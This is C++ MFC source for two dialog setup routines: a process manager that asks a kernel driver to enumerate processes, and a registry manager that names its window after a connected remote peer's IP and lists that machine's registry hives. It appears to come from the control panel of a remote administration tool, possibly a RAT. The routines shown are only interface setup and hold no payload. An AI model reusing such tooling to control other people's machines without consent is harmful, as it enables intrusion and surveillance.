BOOL CProcessManager::OnInitDialog() { CDialog::OnInitDialog(); InitControl(); ULONG_PTR ulControlCode =FORCE_ENUM_PROCESS; SendIoControlCode(ulControlCode); CreatStatusBar(); return TRUE; }
BOOL CRegDlg::OnInitDialog() { CDialog::OnInitDialog(); // TODO: Add extra initialization here SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon CString str; sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); str.Format("\\\\%s - 注册表管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""); SetWindowText(str); size[0]=120;size[1]=80;size[2]=310; m_list.InsertColumn(0,"名称",LVCFMT_LEFT,size[0],-1); m_list.InsertColumn(1,"类型",LVCFMT_LEFT,size[1],-1); m_list.InsertColumn(2,"数据",LVCFMT_LEFT,size[2],-1); m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT); //////添加图标////// m_HeadIcon.Create(16,16,TRUE,2,2); m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_STR_ICON)); m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_DWORD_ICON)); m_list.SetImageList(&m_HeadIcon,LVSIL_SMALL); //树控件设置 HICON hIcon = NULL; m_ImageList_tree.Create(18, 18, ILC_COLOR16,10, 0); hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_FATHER_ICON), IMAGE_ICON, 18, 18, 0); m_ImageList_tree.Add(hIcon); hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_DIR_ICON), IMAGE_ICON, 32, 32, 0); m_ImageList_tree.Add(hIcon); m_tree.SetImageList ( &m_ImageList_tree,TVSIL_NORMAL ); DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE); dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT; SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle); m_hRoot = m_tree.InsertItem("注册表管理",0,0,0,0); HKCU=m_tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); HKLM=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0); HKUS=m_tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0); HKCC=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0); HKCR=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0); m_tree.Expand(m_hRoot,TVE_EXPAND); CreatStatusBar(); CRect rect; GetWindowRect(&rect); rect.bottom+=20; MoveWindow(&rect,true); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE }